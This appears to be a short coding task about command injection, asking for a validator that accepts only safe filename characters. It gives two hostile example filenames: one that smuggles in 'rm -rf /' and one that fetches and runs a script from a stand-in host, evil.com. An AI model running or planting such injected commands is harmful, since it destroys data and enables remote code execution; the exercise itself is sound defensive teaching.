A file-processing endpoint shells out to a CLI tool, passing a user-supplied filename.
The bug: filenames like report.txt; rm -rf / or $(curl evil.com/x.sh | sh) get interpreted by the shell as *additional commands*, not as part of a filename — full remote code execution.
Your task: fix solve(filename) so it returns true only for filenames made exclusively of letters, digits, dots, dashes and underscores — anything else (shell metacharacters like ;, |, &, $(, backticks, spaces) must return false.
Sample tests